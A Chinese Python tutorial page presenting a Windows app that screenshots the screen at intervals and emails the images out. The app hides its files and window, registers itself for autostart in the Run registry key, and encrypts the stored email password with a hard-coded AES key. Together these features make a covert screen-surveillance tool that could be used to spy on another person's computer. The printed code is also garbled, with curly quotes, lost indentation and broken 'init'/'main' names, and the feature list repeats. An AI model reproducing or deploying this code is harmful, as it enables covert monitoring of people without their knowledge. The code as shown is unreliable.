Python实现PC屏幕截图并自动发送邮箱

 更新时间:2024年12月28日 15:41:22   作者:hvinsion  
这篇文章主要为大家详细介绍了如何使用Python实现一个屏幕截图应用程序,可以定时截取屏幕,并将截图通过电子邮件发送给指定的收件人,需要的可以参考下

1.简介

代码实现了一个屏幕截图应用程序,可以定时截取屏幕,并将截图通过电子邮件发送给指定的收件人。以下是代码的主要功能:

  • 通过使用pyautogui库来进行屏幕截图。
  • 使用smtplib库来发送电子邮件,以将截图发送给收件人。
  • 使用tkinter库创建一个简单的图形用户界面(GUI),用于配置应用程序的设置。
  • 通过使用logging库来记录日志,将日志保存到文件中。
  • 实现了开机自动启动功能,可以将应用程序设置为开机自动启动。
  • 实现了隐藏和显示应用程序窗口的功能。
  • 通过使用logging库来记录日志,将日志保存到文件中。
  • 收件邮箱默认等于发件邮箱
  • 通过使用logging库来记录日志,将日志保存到文件中。
  • 使用configparser库来读取和保存应用程序的配置设置。
  • 实现了开机自动启动功能,可以将应用程序设置为开机自动启动。
  • 实现了隐藏和显示应用程序窗口的功能。
  • 收件邮箱默认等于发件邮箱

此外,代码还实现了一些其他功能,如数据加密和解密、删除已发送的截图文件等。

应用程序在为用户提供一个便捷的方式来定时截图并将截图发送给指定的收件人,适用于需要定期截图的监控、远程监视等场景。用户可以通过图形界面设置截图的间隔时间、截图的次数、发件人和收件人的电子邮件地址等。

2.运行效果

3.相关源码

import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import glob

KEY = b'MySuperSecretKey'

def encrypt_data(data):
cipher = AES.new(KEY, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data.encode(‘utf-8'), AES.block_size))
iv = base64.b64encode(cipher.iv).decode(‘utf-8')
ct = base64.b64encode(ct_bytes).decode(‘utf-8')
return iv + ct

def decrypt_data(data):
try:
iv = base64.b64decode(data[:24])
ct = base64.b64decode(data[24:])
cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
return pt.decode(‘utf-8')
except:
return “Decryption Error!”

class ScreenshotApp:
def init(self):
self.root = tk.Tk()
self.root.title(“Screen”)

    self.config = configparser.ConfigParser()
    self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini") 
     
    if not os.path.exists(self.config_file):
        self.create_default_config()
     
    self.config.read(self.config_file)  # 读取配置文件
     
    self.sender_email_label = ttk.Label(self.root, text="发件邮箱:")
    self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)
    self.sender_email_entry = ttk.Entry(self.root)
    self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)
     
    self.sender_password_label = ttk.Label(self.root, text="发件邮箱密码:")
    self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)
    self.sender_password_entry = ttk.Entry(self.root, show="*")
    self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)
     
    self.interval_label = ttk.Label(self.root, text="截图间隔时间:")
    self.interval_label.grid(row=2, column=0, padx=5, pady=5)
    self.interval_entry = ttk.Entry(self.root)
    self.interval_entry.grid(row=2, column=1, padx=5, pady=5)
     
    self.count_label = ttk.Label(self.root, text="发送截图数量:")
    self.count_label.grid(row=3, column=0, padx=5, pady=5)
    self.count_entry = ttk.Entry(self.root)
    self.count_entry.grid(row=3, column=1, padx=5, pady=5)
     
    self.start_button = ttk.Button(self.root, text="开始截图", command=self.start_screenshot)
    self.start_button.grid(row=4, column=0, padx=5, pady=5)
     
    self.stop_button = ttk.Button(self.root, text="停止截图", command=self.stop_screenshot)
    self.stop_button.grid(row=4, column=1, padx=5, pady=5)
    self.stop_button.configure(state="disabled")
     
    self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)
    self.save_button.grid(row=5, column=0, padx=5, pady=5)
     
    self.autostart_var = tk.BooleanVar()
    self.autostart_checkbutton = ttk.Checkbutton(self.root, text="开机自动启动", variable=self.autostart_var, command=self.save_settings)
    self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)
     
    self.toggle_visibility_button = ttk.Button(self.root, text="显示/隐藏", command=self.toggle_visibility)
    self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)
     
    # 创建日志记录器
    self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")
    self.logger = logging.getLogger("ScreenshotApp")
    self.logger.setLevel(logging.INFO)
    self.logger.addHandler(logging.FileHandler(self.log_file_path))
     
    self.screenshot_running = False
    self.screenshot_thread = None
    self.stop_event = threading.Event()
     
    # 初始化输入框的值
    self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))
    self.sender_password_entry.insert(0, self.get_decrypted_password())
    self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))
    self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))
     
    # 初始化开机自动启动选项
    self.autostart_var.set(self.is_autostart_enabled())
     
    self.root.protocol("WM_DELETE_WINDOW", self.on_close)
     
    self.root.bind("<F12>", self.toggle_visibility)
     
    # 初始化窗口可见性
    visibility = self.config.get("Settings", "visibility", fallback="visible")
    if visibility == "hidden":
        self.root.withdraw()
     
    if self.autostart_var.get():
        self.start_screenshot()
     
    self.root.mainloop()
     
def on_close(self):
    self.stop_screenshot()
    self.save_settings()
    self.delete_screenshots()
    self.root.quit()

def create_default_config(self):
    if not os.path.exists(self.config_file):
        self.config["Settings"] = {
            "sender_email": "",
            "sender_password": "",
            "interval": "",
            "count": "",
            "autostart": "False",
            "visibility": "visible"
    }
     
    config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")        
    with open(config_file_path, "w") as configfile:
        self.config.write(configfile)
     
def start_screenshot(self):
    interval_text = self.interval_entry.get()
    count_text = self.count_entry.get()

    if not interval_text or not count_text:
         self.logger.error("请提供Screen间隔时间和Screen次数")
         return

    try:
          interval = int(interval_text)
          count = int(count_text)
    except ValueError:
          self.logger.error("Screen间隔时间和Screen次数必须是有效的整数")
          return
    if not self.screenshot_running:
        sender_email = self.sender_email_entry.get()
        sender_password = self.sender_password_entry.get()
        interval = int(self.interval_entry.get())
        count = int(self.count_entry.get())
         
        receiver_email = sender_email  # 收件邮箱地址默认等于发件邮箱地址
         
        self.logger.info("开始Screen")
         
        self.start_button.configure(state="disabled")
        self.stop_button.configure(state="normal")
        self.screenshot_running = True
        self.stop_event.clear()
         
        self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(receiver_email, sender_email, sender_password, interval, count))
        self.screenshot_thread.start()
 
def stop_screenshot(self):
    if self.screenshot_running:
        self.screenshot_running = False
        self.stop_event.set()
        self.screenshot_thread.join()
         
        self.logger.info("停止Screen")
        self.start_button.configure(state="normal")
        self.stop_button.configure(state="disabled")
 
def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):
    screenshot_count = 0
    screenshots = []

    # 获取用户主目录,并创建'Screenshots'文件夹
    user_dir = os.path.expanduser('~')
    screenshot_dir = os.path.join(user_dir, 'Screenshots')
    os.makedirs(screenshot_dir, exist_ok=True)

    # 在开始Screen前清空'Screenshots'文件夹
    self.delete_screenshots()

    while screenshot_count < count and not self.stop_event.is_set():
        try:
            # Screen
            screenshot = pyautogui.screenshot()

            # 生成文件名,格式为“Screen时间.png”
            current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
            filename = f"Screen_{current_time}.png"

            # 保存Screen到'Screenshots'文件夹中
            screenshot_path = os.path.join(screenshot_dir, filename)
            screenshot.save(screenshot_path)
            screenshots.append(screenshot_path)
            screenshot_count += 1
            #设置文件为隐藏
            FILE_ATTRIBUTE_HIDDEN = 0x02
            ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)
            self.logger.info(f"Screen成功: {screenshot_path}")

            if screenshot_count == count:  # 达到指定Screen次数后发送Screen
                screenshot_count = 0
                self.send_email(receiver_email, sender_email, sender_password, screenshots)
                self.logger.info(f"Screen发送成功,共发送了 {len(screenshots)} 张Screen")
                self.delete_screenshots(screenshots)
                screenshots = []  # 清空已发送的Screen列表
        except Exception as e:
            self.logger.error(f"Screen失败: {str(e)}")

        time.sleep(interval)


     
def send_email(self, receiver_email, sender_email, sender_password, filenames):
    msg = MIMEMultipart()
    msg["From"] = sender_email
    msg["To"] = receiver_email
    msg["Subject"] = "Screen"
     
    # 添加邮件正文
    msg.attach(MIMEText("请查看附件中的Screen。", "plain"))
     
    # 添加Screen作为附件
    for filename in filenames:
        with open(filename, "rb") as f:
            image = MIMEImage(f.read())
        image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))
        msg.attach(image)
     
    try:
        # 发送邮件
        with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:
            smtp.login(sender_email, sender_password)
            smtp.send_message(msg)
             
        self.logger.info(f"邮件发送成功,收件人: {receiver_email}")
     
    except Exception as e:
        self.logger.error(f"邮件发送失败: {str(e)}")
     
def save_settings(self):

    self.config.set("Settings", "sender_email", self.sender_email_entry.get())
    self.config.set("Settings", "interval", self.interval_entry.get())
    self.config.set("Settings", "count", self.count_entry.get())
    self.config.set("Settings", "autostart", str(self.autostart_var.get()))
     
    visibility = "visible" if self.root.state() == "normal" else "hidden"
    self.config.set("Settings", "visibility", visibility)
     
    if self.sender_password_entry.get() != self.get_decrypted_password():
        encrypted_password = encrypt_data(self.sender_password_entry.get())
        self.config.set("Settings", "sender_password", encrypted_password)
     
    config_file_path = os.path.abspath(self.config_file)
    with open(config_file_path, "w") as configfile:
        self.config.write(configfile)
        self.logger.handlers.clear()
        self.logger.addHandler(logging.FileHandler(self.log_file_path))
     
    self.set_autostart(self.autostart_var.get())
     
def delete_screenshots(self, filenames=None):
    # 获取'Screenshots'文件夹路径
    user_dir = os.path.expanduser('~')
    screenshot_dir = os.path.join(user_dir, 'Screenshots')

    if filenames is None:
        filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))

    for filename in filenames:
        try:
            os.remove(filename)
            self.logger.info(f"删除Screen: {filename}")
        except Exception as e:
            self.logger.error(f"删除Screen失败: {str(e)}")
 
def get_decrypted_password(self):
    encrypted_password = self.config.get("Settings", "sender_password", fallback="")
    if encrypted_password:
        return decrypt_data(encrypted_password)
    else:
        return ""
     
def toggle_visibility(self, event=None):
    if self.root.state() == "withdrawn":
        self.root.deiconify()
    else:
        self.root.withdraw()
    self.save_settings()
     
def set_autostart(self, enabled):
    key = winreg.HKEY_CURRENT_USER
    run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
    app_name = "Screen"
    app_path = sys.executable  # 获取当前脚本的绝对路径

    try:
        with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:
            if enabled:
                winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)
                self.logger.info("已设置开机自动启动")
            else:
                winreg.DeleteValue(reg_key, app_name)
                self.logger.info("已取消开机自动启动")
    except FileNotFoundError as e:
        self.logger.error(f"找不到注册表路径: {str(e)}")
    except PermissionError as e:
        self.logger.error(f"没有足够的权限访问注册表: {str(e)}")
    except Exception as e:
        self.logger.error(f"设置开机自动启动失败: {str(e)}")

def is_autostart_enabled(self):
    key = winreg.HKEY_CURRENT_USER
    run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
    app_name = "Screen"
    app_path = sys.executable  # 获取当前脚本的绝对路径

    try:
        with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:
            try:
                value, value_type = winreg.QueryValueEx(reg_key, app_name)
                return value == app_path
            except FileNotFoundError:
                return False
    except FileNotFoundError as e:
        self.logger.error(f"找不到注册表路径: {str(e)}")
    except PermissionError as e:
        self.logger.error(f"没有足够的权限访问注册表: {str(e)}")
    except Exception as e:
        self.logger.error(f"读取开机自动启动设置失败: {str(e)}")
     
    return False

if name == “main”:
app = ScreenshotApp()

以上就是Python实现PC屏幕截图并自动发送邮箱的详细内容,更多关于Python屏幕截图的资料请关注脚本之家其它相关文章!

相关文章

  • Python os 模块与路径从基础到实战应用

    Python os 模块与路径从基础到实战应用

    本文详解Python中os模块与路径处理,涵盖目录创建、遍历、删除及文件操作,提供日志管理、数据备份等实战案例,强调跨平台兼容与异常处理最佳实践,本文结合实例代码给大家介绍的非常详细,感兴趣的朋友跟随小编一起看看吧
    2025-08-08
  • Python基于pyjnius库实现访问java类

    Python基于pyjnius库实现访问java类

    这篇文章主要介绍了Python基于pyjnius库实现访问java类,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-07-07
  • Python3访问MySQL数据库的实现步骤

    Python3访问MySQL数据库的实现步骤

    要实现一个简单的IM(即时通讯)系统,支持用户注册、登录和聊天记录存储,你可以使用Python和mysql数据库,以下是一个基本的实现步骤,并通过代码示例讲解的非常详细,需要的朋友可以参考下
    2024-11-11
  • Python基于OpenPyxl实现Excel转PDF并精准控制分页

    Python基于OpenPyxl实现Excel转PDF并精准控制分页

    在 Python 自动化办公(RPA)的场景中,我们经常需要自动生成带有图表或图片的 Excel 报表,并最终将其导出为 PDF,下面我们就来聊聊如何使用OpenPyxl实现这一功能并精准控制分页吧
    2025-12-12
  • Python pandas库中的isnull()详解

    Python pandas库中的isnull()详解

    今天小编就为大家分享一篇Python pandas库中的isnull()详解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-12-12
  • python中有帮助函数吗

    python中有帮助函数吗

    在本篇文章里小编给大家分享的是一篇关于python帮助函数详解内容,有兴趣的朋友们可以学习下。
    2020-06-06
  • Flask学习之全局异常处理详解

    Flask学习之全局异常处理详解

    Flask是一个基于Python的Web框架,它提供了全局异常处理的机制来捕获和处理应用程序中的异常,下面就带大家深入了解一下Flask是如何实现异常处理的,希望对大家有所帮助
    2023-06-06
  • Python自动化操作Excel/Word/PDF的实战指南

    Python自动化操作Excel/Word/PDF的实战指南

    在现代办公环境中,我们经常需要处理各种文档格式,如Excel表格、Word文档和PDF文件,下面我们就来看看如何使用Python自动化进行相关操作吧
    2025-09-09
  • 零基础带你掌握Python Openpyxl单元格样式修改指南

    零基础带你掌握Python Openpyxl单元格样式修改指南

    在日常办公中,我们经常需要处理大量的 Excel 表格,本篇文章将系统地带你走进 openpyxl 的样式修改世界,无论你是编程小白还是有一定基础的学习者,只要跟着本文的步骤,都能轻松让你的自动化表格漂亮起来
    2026-03-03
  • Python通过paramiko库实现远程执行linux命令的方法

    Python通过paramiko库实现远程执行linux命令的方法

    这篇文章主要介绍了Python通过paramiko库实现远程执行linux命令,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2023-03-03

最新评论